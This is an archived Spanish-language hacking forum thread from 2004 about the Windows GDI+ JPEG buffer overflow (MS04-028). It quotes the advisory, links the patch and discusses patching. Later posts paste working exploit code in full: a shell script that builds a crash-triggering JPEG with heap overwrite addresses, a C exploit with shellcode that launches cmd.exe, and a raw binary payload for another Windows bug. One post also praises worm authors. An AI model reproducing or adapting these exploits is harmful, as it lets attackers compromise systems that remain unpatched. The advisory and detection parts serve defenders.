elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 14:00  


Tema destacado: ¡Aprende hacking con práctica! - WarZone, el wargame de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  JPEG Processing BOF Proof Of Concept (Poc) -Empezad a Parchear!!!-
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 4 5 6 Ir Abajo Respuesta Imprimir
Autor Tema: JPEG Processing BOF Proof Of Concept (Poc) -Empezad a Parchear!!!-  (Leído 8,477 veces)
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
JPEG Processing BOF Proof Of Concept (Poc) -Empezad a Parchear!!!-
« en: 20 Septiembre 2004, 03:06 »

Bueno, antes de nada, empezad a parchear como locos. Debido a este PoC, se comenta que van a empezar a rular gusanos aprovechandose de esta vulnerabilidad.

Os reproduzco el mail del autor del PoC:

Citar
About a year ago I came across this same issue. I came across it while
messing with Solar Designer's old Netscape JPEG bug. So, in short the same
issue applies to WinXP it seems. I showed the bug to a few people (even
contacted Microsoft, but got no reply), but neither them nor myself ever got
around to figuring it out. Nick DeBaggis and eEye did a good job of figuring
this very dangerous issue out :)

Anyway, the point to this post is to release the POC I just put together
using the findings that I have been sitting on for quite some time. As I
said before, I never fully understood exactly what was going on, so this POC
doesn't execute code or anything, but it will crash any WindowsXP machine
that has not been patched from this flaw.

If you cannot access the attached file, you may download the POC here

http://www.gulftech.org/?node=downloads

BTW: There was a BugTraq (or some other sec mailing list) post from over a
year ago that talks about the Netscape JPEG issue crashing the WindowsXP
Shell. I remember seeing them when I first started looking into this issue,
but do not have links right off hand. Maybe someone else reading this does?

En el link, esta la descarga del exploit. A mi me ha petado el explorer, es decir, soy vulnerable (y me estoy cagando en M$ porque no encuentro el parche). Si conseguis ver el readme xD (no es tan dificil xD), vereis como "fabricar" un jpg "malicioso".

Lo curioso es que la herramienta para hacerlo, tiene ya un año, y se hizo para usarla en un bug JPG que afectaba a Windows XP y a Netscape.

En fin, cosas que pasan....

Salu2
En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: JPEG Processing BOF Proof Of Concept (Poc) -Empezad a Parchear!!!-
« Respuesta #1 en: 20 Septiembre 2004, 03:10 »

Mas info:

Citar
From: Nick D. <ndebaggis_@_verizon.net>
Date: 15 ñåíòÿáðÿ 2004 ã.
Subject: Microsoft GDIPlus.DLL JPEG Parsing Engine Buffer Overflow

Microsoft GDIPlus.DLL JPEG Parsing Engine Buffer Overflow
-----------------------------------------------------------------
Advisory: September 14, 2004
Reported: October 7, 2003

Systems affected based on testing:
Windows XP SP0,SP1,SP1a (Home & Pro)

Systems potentially affected based on Microsoft's DLL Help Database
(there may be others):

gdiplus.dll 5.2.3790.0
Windows Server 2003 Data Center
Windows Server 2003 Enterprise
Windows Server 2003 Standard
Windows Server 2003 Web Edition

gdiplus.dll 5.1.3100.0
Microsoft Visual Studio .NET (2003) Enterprise Architect

gdiplus.dll 5.1.3097.0
Microsoft Visual Studio .NET (2002) Enterprise Architect
Microsoft Visual Studio .NET (2002) Enterprise Developer
Microsoft Visual Studio .NET (2002) Professional
Microsoft Visual Studio .NET (2003) Enterprise Architect
Visual Basic .NET Standard 2002
Visual C# .NET Standard 2002
Visual C++ .NET Standard 2002
Windows XP Home 2002
Windows XP Professional 2002

gdiplus.dll 5.1.3079.3
Microsoft Visual Studio .NET (2002) Enterprise Architect
Visio 2002 Professional
Visio 2002 Standard


Description
------------------------

The JPEG parsing engine included in GDIPlus.dll contains an
exploitable buffer overflow. When a specially crafted JPEG image is
accessed through the Windows XP shell, a buffer overflow occurs
potentially allowing an attacker to run arbitrary code on the
affected system. Due to the pervasiveness of the affected dll there
may be other vulnerable attack vectors.


Technical
------------------------

JPEG Comment sections (COM) allow for the embedding of comment data
into a JPEG image. COM sections are marked beginning with 0xFFFE
followed by a 16 bit unsigned integer in network byte order giving
the total comment length + the 2 bytes for the length field; a
single JPEG COM section could therefore contain 65533 bytes of
invisible data (invisible in the sense that it's not rendered as
part of the image). Because the JPEG COM field length variable is 2
bytes wide, and itself is included in the length value, the minimum
value for this field is 2, this implies an empty comment. If the
comment length value is set to 1 or 0, a buffer overflow occurs
overwriting heap management structures.

The problem is GDIPlus normalizes the COM length prior to checking
it's value; a starting length of 0 becomes -2 after normalization
(0xFFFE unsigned), this value is converted to the 32 bit value
0xFFFFFFFE and is eventually passed on to memcpy which attempts to
copy ~4G bytes into heap memory.

eEye Digital Security analyzed the bug and found that heap
management structures are left in an inconsistent state with
execution eventually reaching heap unlink instructions within
RTLFreeHeap with EAX pointing to a pointer to data we control and we
have direct control of EDX.


Vendor Status
------------------------

Patch available MS04-028 (833987)
http://www.microsoft.com/technet/security/bulletin/ms04-028.mspx


Detection
------------------------

Detection could be accomplished by examining the JPEG image for the
following byte sequence:

0xFF 0xFE 0x00 0x00 or 0xFF 0xFE 0x00 0x01


Credits
------------------------
Nick DeBaggis - Discovery, analysis, and advisory.

Special thanks to eEye Digital Security www.eeye.com - Detailed
vulnerability analysis, initial and ongoing vendor contact.

Also thanks to Networks Unlimited - Early bug testing.

Parche:

Citar
En línea

Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.587


Ver Perfil WWW
Re: JPEG Processing BOF Proof Of Concept (Poc) -Empezad a Parchear!!!-
« Respuesta #2 en: 20 Septiembre 2004, 05:04 »

Llevo un par de dias atento a la discusión en el foro de Hackxcrack sobre esta vulnerabilidad. Como siempre digo, lo documentan todo q da gusto. Estaba esperando la publicación de un PoC para postear algo en este foro.

Sobre la vulnerabilidad, SI, ACOJONA! El mero de hecho de poder ser atacado sólo con ver una foto JPEG hace facílismo explotar esta vulnerabilidad a gran escala. ¿¿Os imaginais q hackean un sitio web con miles de visitas al día y sustituyen una foto por otra q ejecute código arbitrario en las víctimas vulnerables q accedan a la página??. A parchearse ya!!

http://www.microsoft.com/technet/security/bulletin/MS04-028.mspx

Sobre lo del gusano, como se puede crear un gusano q explote esta vulnerabilidad?? Se supone q la vulnerabilidad sólo puede ser explotada por acción directa, es decir, la victima visualiza un JPEG malicioso. En cambio, los gusanos actúan de forma pasiva, es decir, sin intervención directa del usuario víctima; el paquete llega al equipo vulnerable y este es infectado. Bueno, estoy divagando...

Muchas gracias por el aviso Rojodos ;)

Salu2
« Última modificación: 20 Septiembre 2004, 06:28 por Gospel » En línea

Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.587


Ver Perfil WWW
Re: JPEG Processing BOF Proof Of Concept (Poc) -Empezad a Parchear!!!-
« Respuesta #3 en: 20 Septiembre 2004, 05:15 »

Una cosa más sobre el parche. Dado q esta vulnerabilidad afecta a varios productos de la familia Microsoft, hay q bajarse e instalarse el parche para cada aplicación vulnerable, por ejemplo, el parche de Windows XP + parche de Office XP + parche de Internet Explorer!!

Citar
If you have installed any of the affected programs or affected components listed in this bulletin, you should install the required security update for each of the affected programs or affected components. This may require the installation of multiple security updates.


Es un detalle bastante importante...

Si ya era molesto tener q bajarse un único parche para el sistema operativo por cada vulnerabilidad q aparecía, lo de tener q bajarse un parche para cada aplicación vulnerable se pasa de la raya. Es un puteo!
Espero q los de Microsoft se curren un paquete-parche para automatizar todos los parcheos... Dios... con esto ya se me quitan las ganas de formatear, reinstalar Windows y tirarme 2 horas instalando los 200 ***** parches.

Salu2
En línea

Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.587


Ver Perfil WWW
Re: JPEG Processing BOF Proof Of Concept (Poc) -Empezad a Parchear!!!-
« Respuesta #4 en: 20 Septiembre 2004, 05:55 »

Bueno, yo lo flipo!!!  :o

Como antes he comentado, hay q bajarse e instalarse el parche para cada aplicación vulnerable. Pues bien, en mi caso debería instalarme los parches para:
- Microsoft Windows XP
- Microsoft Office XP
- Microsoft Internet Explorer 6

El parche de Windows XP es fácil de encontrar...

No hay parche para Office XP!!! Sólo lo han publicado para Office XP SP2 y SP3. Si intentas instalar el parche de Office XP SP3 en un Office XP sin SP, te casca! Tengo q bajarme el maldito SP3 sólo para poder parchearlo??

Sobre el parche de Internet Explorer, no es aplicable a Windows XP. Después de estar tirándome de los pelos, he podido encontrar en letra pequeña el siguiente comentario:

Citar
Internet Explorer 6 on Windows XP, Windows XP Service Pack 1, and Windows Server 2003 uses the operating system version of the vulnerable component. When the Windows XP, Windows XP Service Pack 1, and Windows Server 2003 operating system update is installed, Internet Explorer 6 is not vulnerable.

Traduciendo, para usuarios de Windows XP y 2003 no hace falta instalar el parche específico del Internet Explorer ya q éste utiliza componentes vulnerables del sistema operativo q son actualizados con el parche de Windows XP y Windows 2003. En este caso, con el parche del sistema operativo ya es suficiente...


En fin...  ::)

Salu2
En línea

Sir_Neo

Desconectado Desconectado

Mensajes: 203


$ir ||ê0


Ver Perfil WWW
Re: JPEG Processing BOF Proof Of Concept (Poc) -Empezad a Parchear!!!-
« Respuesta #5 en: 20 Septiembre 2004, 07:14 »

joder, manda guaza la cosa.

otra cosa, tu te quejas porque tienes que instalar tres parches, jeje. y yo?, q tengo 15 pcs. Dios!! Tengo pa rato.
En línea

Si juegas con el mejor, muere como los demás

http://www.lepeonline.net/
Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.645



Ver Perfil
Re: JPEG Processing BOF Proof Of Concept (Poc) -Empezad a Parchear!!!-
« Respuesta #6 en: 21 Septiembre 2004, 09:55 »

Perdon es toy en limbo ,Como puedo testiar mi pc , me baje el archivo, me sale el poc.jpg y readme, pero se por donde empezar

Rojodos me estas asustando con este tema, yo manejo muy buena cantidad de pcs XD

Como testeo?

Saludos

Man-In-the-Middle



En línea
Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.587


Ver Perfil WWW
Re: JPEG Processing BOF Proof Of Concept (Poc) -Empezad a Parchear!!!-
« Respuesta #7 en: 21 Septiembre 2004, 10:22 »

Pues para testear esta vulnerabilidad y comprobar q eres vulnerable, bájate la foto maliciosa de:

http://www.gulftech.org/?node=downloads

Simplemente al visualizarla con el visor de imágenes de Windows XP ya te peta el explorer.exe. Sólo es eso...
Si no te pasa nada, prueba a abrirla de diferentes maneras: con el Internet Explorer, con la Vista en Miniatura del explorador de Windows, etc.

Si tienes Win XP SP2, no estoy seguro, pero igual no eres vulnerable...

Para parchearte, sigue las indicaciones de Microsoft Security Bulletin, básicamente:
- Si trabajas con Win XP o Win XP SP1, instalar el parche del sistema operativo únicamente.
- Si trabajas con Win 2000 (cualquier SP), instalar el parche del sistema operativo y el parche del Internet Explorer si este es version 6.0 o posterior
- Si aparte tienes el Office, ejecutar el Office Update.

Salu2
En línea

Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.645



Ver Perfil
Re: JPEG Processing BOF Proof Of Concept (Poc) -Empezad a Parchear!!!-
« Respuesta #8 en: 22 Septiembre 2004, 01:19 »

Bueno por el momento no me petea el IE, pero ya se por que es, por que estoy con una combinacion win2000 +IE5  no rula ahi, pero las demas maquinas estan en xp , y eso si que jode!!!

Gracias Bro!!

Man-In-the-Middle

En línea
Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.645



Ver Perfil
Re: JPEG Processing BOF Proof Of Concept (Poc) -Empezad a Parchear!!!-
« Respuesta #9 en: 22 Septiembre 2004, 01:22 »

Otra cosa ,ese virus woko.jpg o algo asi, me parecio verlo en la parte de troyanos, no esta jugando con esta vulnerabilidad en le msn, no se , ya  rojodos me ha pueto noico jajaj

Saludos
Man-In-the-Middle
En línea
Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.587


Ver Perfil WWW
Re: JPEG Processing BOF Proof Of Concept (Poc) -Empezad a Parchear!!!-
« Respuesta #10 en: 22 Septiembre 2004, 03:23 »

Sí, en cuanto apareció el PoC, a todo el mundo le entro la paranoia... De todas formas, ya se sabe q los gusanos q explotan graves vulnerabilidades no suelen contener "carga explosiva", es decir, su función es únicamente infectar y poco más. Imagínate un Blaster o un Sasser q incluyera funciones para borrar archivos, modificar el registro o cualquier otra maldad, sus consecuencias entonces si q serían catastróficas.
Me rio yo de los analistas q valoran económicamente las pérdidas provocadas tras la expansión de un gusano a gran escala (como el Blaster o Sasser). Idiotas, deberían dar gracias a q el creador del gusano no se le ocurrió implementar "carga explosiva", entonces sí q habría pérdidas! Es más, deberían estar agradecidos al creador del gusano; realmente, es la manera más rápida de q las empresas tomen conciencia de lo q grave q resulta esa vulnerabilidad y decidan parchear sus sistemas.

Aún así, ya expuse mi teoría sobre un gusano q aprovechase la vulnerabilidad MS04-028:
Citar
Sobre lo del gusano, como se puede crear un gusano q explote esta vulnerabilidad?? Se supone q la vulnerabilidad sólo puede ser explotada por acción directa, es decir, la victima visualiza un JPEG malicioso. En cambio, los gusanos actúan de forma pasiva, es decir, sin intervención directa del usuario víctima; el paquete llega al equipo vulnerable y este es infectado. Bueno, estoy divagando...

Salu2

En línea

joserra89


Desconectado Desconectado

Mensajes: 987


"./"


Ver Perfil WWW
Re: JPEG Processing BOF Proof Of Concept (Poc) -Empezad a Parchear!!!-
« Respuesta #11 en: 22 Septiembre 2004, 04:26 »

imaginaros que alguien logra entrar a google y sustituir la imagen de google por la maliciosa, con los millones de personas que entran!!!!!!!!!!!

http://world.altavista.com/babelfish/tr?doit=done&tt=url&intl=1&url=http://www.gulftech.org/?node=downloads&lp=en_es
La web de descarga traducida
En línea

"Sin metodo, sin orden, sin voluntad, no es posible el triunfo"


Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.645



Ver Perfil
Re: JPEG Processing BOF Proof Of Concept (Poc) -Empezad a Parchear!!!-
« Respuesta #12 en: 22 Septiembre 2004, 05:32 »

No se bro$, pero esta huevada tiene pinta de ser como el exploit de dobleclick  y si es asi te lo aseguro que cualquiera un poco de imaginacion te suelta esta rula:

 ÙÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿF ’     <
      s     À €!                  €D : \ a . a a a a a a a 3À°ð+àƒäðU‹ì3öVh.exehepadhnotFV}ñW¸¯§éwÿÐNV¸”éwÿÐx x x x y y y y z z z z { { { [Á¿qBBBBCCCCDDDDë€a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a                                                                                                                                                                      D : \    g u e s t 1              0   Ô         &                           

la cual es el exploit de job y me hace volcadura de pila en todos lo win200 que he probado y en algunos xp

Bueno no se como sera la huevada, pero en fin

esperemos
Man-In-the-Middle


En línea
Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.587


Ver Perfil WWW
Re: JPEG Processing BOF Proof Of Concept (Poc) -Empezad a Parchear!!!-
« Respuesta #13 en: 23 Septiembre 2004, 06:24 »

New Exclusive... antes q nadie, aqui os traigo 2x1!!!  :D

Windows JPEG Processing Buffer Overrun PoC Exploit (MS04-028) @ http://www.k-otik.com/exploits/09222004.ms04-28.sh.php

Código:
Proof of concept exploit that creates a jpeg image to test for the buffer overrun vulnerability
discovered under Microsoft Windows. Shellcode and valid addresses have been removed.


/* CAN-2004-0200 */

#!/bin/sh
#
# The JPEG vuln is triggered by the 0 or 1 length field with an integer flaw
# The crafted JPEG header makes Windows crash a couple of different ways
# 1) First, it crashes when the image is opened.
# 2) Second, it crashes when hovering the mouse over the image.
#
# The pointer overwrite is pretty straight forward in a debugger
#
# Usage:
# sh ms04-028.sh > clickme.jpg
#
# Note: This isn't a ./hack
# - Plug in shellcode and get the address
# - You non-kiddies out there are smart enough to fill in the blanks
# - Until you do the above, it's just a stupid PoC crash
#
# It's ugly, but it works :)
#
# -perplexy-

#JPEG header 'n stuff
printf "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46"
printf "\x00\x01\x01\x01\x00\x60\x00\x60\x00\x00"

#Trigger string - 00 length field (01 works too)
printf "\xFF\xFE\x00\x00"

printf "\x45\x78\x69\x66\x00\x00\x49\x49\x2A\x00\x08\x00"

# 1) Opening directly in IE
#Address to overwrite = RtlEnterCriticalSelection() - 4
#Check page 172 of SC Handbook for those of you playing along at home
printf "\x1C\xF0\xFD\x7F"

# 1) Opening directly in IE
#Address of shellcode
printf "\x41\x41\x41\x41"

#Other stuff
printf "\x96\x02\x00\x00\x1A\x00\x00\x00"

# 2) MouseOver in IE
#Address to overwrite = RtlEnterCriticalSelection() - 4
#Check page 172 of SC Handbook for those of you playing along at home
printf "\x1C\xF0\xFD\x7F";

# 2) MouseOver in IE
#Address of shellcode
printf "\x41\x41\x41\x41"

#Comments here
perl -e 'print "A"x1000';

#Image junk here
printf "\x00\x00\x00\xFF\xDB\x00\x43\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07";
printf "\x07\x09\x09\x08\x0A\x0C\x14\x0D\x0C\x0B\x0B\x0C\x19\x12\x13\x0F\x14";
printf "\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x1C\x20\x24\x2E\x27\x20\x22\x2C\x23\x1C";
printf "\x1C\x28\x37\x29\x2C\x30\x31\x34\x34\x34\x1F\x27\x39\x3D\x38\x32\x3C";
printf "\x2E\x33\x34\x32\xFF\xDB\x00\x43\x01\x09\x09\x09\x0C\x0B\x0C\x18\x0D";
printf "\x0D\x18\x32\x21\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32";
printf "\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32";
printf "\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32";
printf "\x32\x32\x32\x32\x32\xFF\xC0\x00\x11\x08\x00\x03\x00\x03\x03\x01\x22";
printf "\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01";
printf "\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05";
printf "\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x10\x00\x02\x01\x03\x03\x02";
printf "\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D\x01\x02\x03\x00\x04\x11\x05";
printf "\x12\x21\x31\x41\x06\x13\x51\x61\x07\x22\x71\x14\x32\x81\x91\xA1\x08";
printf "\x23\x42\xB1\xC1\x15\x52\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17";
printf "\x18\x19\x1A\x25\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43";
printf "\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64";
printf "\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x83\x84\x85";
printf "\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4";
printf "\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3";
printf "\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE1";
printf "\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8";
printf "\xF9\xFA\xFF\xC4\x00\x1F\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01";
printf "\x01\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A";
printf "\x0B\xFF\xC4\x00\xB5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05\x04";
printf "\x04\x00\x01\x02\x77\x00\x01\x02\x03\x11\x04\x05\x21\x31\x06\x12\x41";
printf "\x51\x07\x61\x71\x13\x22\x32\x81\x08\x14\x42\x91\xA1\xB1\xC1\x09\x23";
printf "\x33\x52\xF0\x15\x62\x72\xD1\x0A\x16\x24\x34\xE1\x25\xF1\x17\x18\x19";
printf "\x1A\x26\x27\x28\x29\x2A\x35\x36\x37\x38\x39\x3A\x43\x44\x45\x46\x47";
printf "\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64\x65\x66\x67\x68";
printf "\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x82\x83\x84\x85\x86\x87\x88";
printf "\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7";
printf "\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5\xC6";
printf "\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE2\xE3\xE4\xE5";
printf "\xE6\xE7\xE8\xE9\xEA\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFF\xDA\x00";
printf "\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00\xF9\xFE\x8A\x28\xA0\x0F";
printf "\xFF\xD9";



Windows JPEG GDI+ Overflow Shellcoded Exploit (MS04-028)
@ http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php

Código:
// launch a local cmd.exe (not bound to the net)...
// GDI+ buffer overrun exploit by FoToZ
// NB: the headers here are only sample headers taken from a .JPG file,
// with the FF FE 00 01 inserted in header1.
// Sample shellcode is provided
// You can put approx. 2500 bytes of shellcode...who needs that much anyway
// Tested on an unpatched WinXP SP1

#include <direct.h>
#include <stdio.h>

char shellcode[]=
"\x68" // push
"cmd "
"\x8B\xC4" // mov eax,esp
"\x50" // push eax
"\xB8\x44\x80\xC2\x77" // mov eax,77c28044h (address of system() on WinXP SP1)
"\xFF\xD0" // call eax
;

char header1[]=
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64"
"\x00\x64\x00\x00\xFF\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00"
"\x04\x00\x00\x00\x0A\x00\x00\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65"
"\x00\x64\xC0\x00\x00\x00\x01\xFF\xFE\x00\x01\x00\x14\x10\x10\x19"
"\x12\x19\x27\x17\x17\x27\x32\xEB\x0F\x26\x32\xDC\xB1\xE7\x70\x26"
"\x2E\x3E\x35\x35\x35\x35\x35\x3E";

char setNOPs1[]=
"\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
"\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8";

char setNOPs2[]=
"\x3E\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
"\x2F\x00\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8";

char header2[]=
"\x44"
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x01\x15\x19\x19"
"\x20\x1C\x20\x26\x18\x18\x26\x36\x26\x20\x26\x36\x44\x36\x2B\x2B"
"\x36\x44\x44\x44\x42\x35\x42\x44\x44\x44\x44\x44\x44\x44\x44\x44"
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44"
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\xFF\xC0\x00"
"\x11\x08\x03\x59\x02\x2B\x03\x01\x22\x00\x02\x11\x01\x03\x11\x01"
"\xFF\xC4\x00\xA2\x00\x00\x02\x03\x01\x01\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x03\x04\x01\x02\x05\x00\x06\x01\x01\x01\x01"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02"
"\x03\x10\x00\x02\x01\x02\x04\x05\x02\x03\x06\x04\x05\x02\x06\x01"
"\x05\x01\x01\x02\x03\x00\x11\x21\x31\x12\x04\x41\x51\x22\x13\x05"
"\x61\x32\x71\x81\x42\x91\xA1\xC1\x52\x23\x14\xB1\xD1\x62\x15\xF0"
"\xE1\x72\x33\x06\x82\x24\xF1\x92\x43\x53\x34\x16\xA2\xD2\x63\x83"
"\x44\x54\x25\x11\x00\x02\x01\x03\x02\x04\x03\x08\x03\x00\x02\x03"
"\x01\x00\x00\x00\x00\x01\x11\x21\x31\x02\x41\x12\xF0\x51\x61\x71"
"\x81\x91\xA1\xB1\xD1\xE1\xF1\x22\x32\x42\x52\xC1\x62\x13\x72\x92"
"\xD2\x03\x23\x82\xFF\xDA\x00\x0C\x03\x01\x00\x02\x11\x03\x11\x00"
"\x3F\x00\x0F\x90\xFF\x00\xBC\xDA\xB3\x36\x12\xC3\xD4\xAD\xC6\xDC"
"\x45\x2F\xB2\x97\xB8\x9D\xCB\x63\xFD\x26\xD4\xC6\xD7\x70\xA4\x19"
"\x24\x50\xCA\x46\x2B\xFC\xEB\x3B\xC7\xC9\xA5\x4A\x8F\x69\x26\xDF"
"\x6D\x72\x4A\x9E\x27\x6B\x3E\xE6\x92\x86\x24\x85\x04\xDB\xED\xA9"
"\x64\x8E\x6B\x63\x67\x19\x1A\xA5\xE7\xB8\x28\x3D\x09\xAB\x5D\x5F"
"\x16\xF7\x8C\xED\x49\x4C\xF5\x01\xE6\xE5\xD5\x1C\x49\xAB\x10\x71"
"\xA6\x36\x9B\x93\x24\x61\x00\x0F\x61\xEC\x34\xA7\x9C\x23\xF4\x96"
"\xC6\xE6\xAF\xB7\x80\x76\xEF\x93\xF0\xAA\x28\x8A\x6B\xE0\x18\xC0"
"\xA4\x9B\x7E\x90\x39\x03\xC2\x90\xDC\x43\x31\x91\x62\x91\x86\x23"
"\x35\x35\xA2\x80\x4D\xFA\x72\x31\x07\x9D\x03\x70\xA8\x93\x24\x4F"
"\x89\x51\x83\x5E\xA4\x2E\x7A\xC0\x7D\xA9\x8A\x10\x61\x64\x07\xFA"
"\x88\xC6\x89\x26\xDA\x0F\x20\xBD\xB9\x16\xD2\xA8\xE8\x91\x3F\x1A"
"\xE2\xBA\xF0\xBE\x74\xAB\x1D\xC4\x44\x15\x1A\x8A\x9C\xC7\x2A\x6B"
"\xA3\x33\xB7\x1E\x88\x47\x69\xA9\x64\x68\x26\xC1\x97\x0B\xD6\x86"
"\x8B\x1B\x29\xC6\x87\xE4\xC7\xFD\xCC\x53\x11\xA5\x9C\x62\x6A\xE5"
"\x40\x37\x61\x89\xF6\xB2\x9C\x2A\x7C\xFD\x05\x6A\x30\x5F\x52\x02"
"\xEB\x72\xBF\x7D\x74\x4C\x23\xB9\x8F\xD8\x78\x67\x54\x59\x64\x47"
"\xC5\x75\x21\x18\xD5\xE3\x58\xE1\x72\x63\xBF\x6D\xBD\xCB\xCA\x82"
"\x65\xE7\xDB\x09\x54\x4F\x0D\x95\x86\x76\xE3\xF2\xA0\x48\x82\x55"
"\xD7\xA6\xCE\xA7\xAA\xDC\x6A\xF1\xA9\x8E\xE0\x35\xC1\xCA\xA1\xD4"
"\x93\xD2\xD6\x39\x95\x3C\x6B\x46\x60\xAC\xC1\x3B\x60\xC9\x70\x84"
"\x8E\xA1\x9A\x9A\x20\x01\x94\xCA\x08\x91\x53\xDC\x01\xB1\xB5\x12"
"\x37\x11\xC6\xC1\xAC\xF1\x11\xD4\x9C\x6B\x3E\x69\x76\xF0\x1D\x7B"
"\x52\x6D\xC9\xA8\x66\x94\xBB\x79\x8F\x7E\xDE\x17\xFD\x4D\xAB\x1E"
"\x76\x7A\xA3\x2B\xE2\x50\x06\xB7\x2C\xEB\x2A\x49\xC9\xEA\x4E\x9B"
"\xE7\xCA\xAF\x1E\xEC\x23\xDC\x8B\xE1\x6B\x5F\x1A\x9B\xE8\x49\x2E"
"\x63\xE5\x03\x32\xCD\x19\xB8\x23\x10\x78\x1F\x85\x5C\x15\x8C\x97"
"\x84\x9B\xDB\x15\x35\x9F\x16\xE0\x1E\x86\xB9\x8F\x97\x11\x4E\xDA"
"\x35\x02\x45\x25\x93\xF8\x55\x24\x17\xB9\x1B\xF5\xC8\x07\xA9\xE2"
"\x2A\x76\xB0\xC2\x37\x01\x95\xAD\x81\xB6\x1C\x6A\xA2\x38\xD9\xAE"
"\xCA\x59\x18\x75\x25\xFF\x00\x81\xAE\xD8\xE8\xBB\x47\x62\xAC\xB7"
"\xB6\xA1\x8D\x40\xE3\x86\x65\x6D\x1E\xDB\x89\x2F\x9D\xCD\x6B\x24"
"\x62\x41\x61\x89\xAC\x2D\x8B\x3E\xB6\x68\xC0\x63\x73\x70\x6B\x6B"
"\x6A\xA1\x7A\xAC\x56\xE7\x11\x56\x58\xD4\x13\xA4\x0B\xB6\xEB\xB3"
"\x3B\x47\x22\x95\xD3\x53\x2E\xEA\x19\x86\x96\xF7\x03\x83\x52\x9E"
"\x54\xAB\x6E\x58\x63\x7C\x33\xCE\x93\xB1\x19\x1C\xE9\xDB\xAA\x35"
"\xBF\x46\x8D\xD4\xD2\x56\xE0\xE0\x33\xA1\x4D\x0A\x4E\x3B\xB1\xCD"
"\xD4\x06\x44\x56\x4A\xCD\x24\x26\xEA\x6D\x7A\x87\xDC\x3B\x60\x6D"
"\xFC\x2A\x86\x1B\x97\x36\x6D\x42\x04\xA0\x11\xEE\xE7\x46\x22\x35"
"\xD5\x26\xB0\x1C\x0B\x7C\x69\x5F\x06\xEC\x5A\xC5\x0B\x46\x70\x27"
"\xF2\xD4\x79\xAD\x89\xDA\x30\x74\xBD\x98\xE4\x68\x58\x86\xE4\x1B"
"\x69\xB9\xDC\x2B\x30\x87\x48\x53\xC5\x85\x3B\xDD\x8A\x4E\xB5\x42"
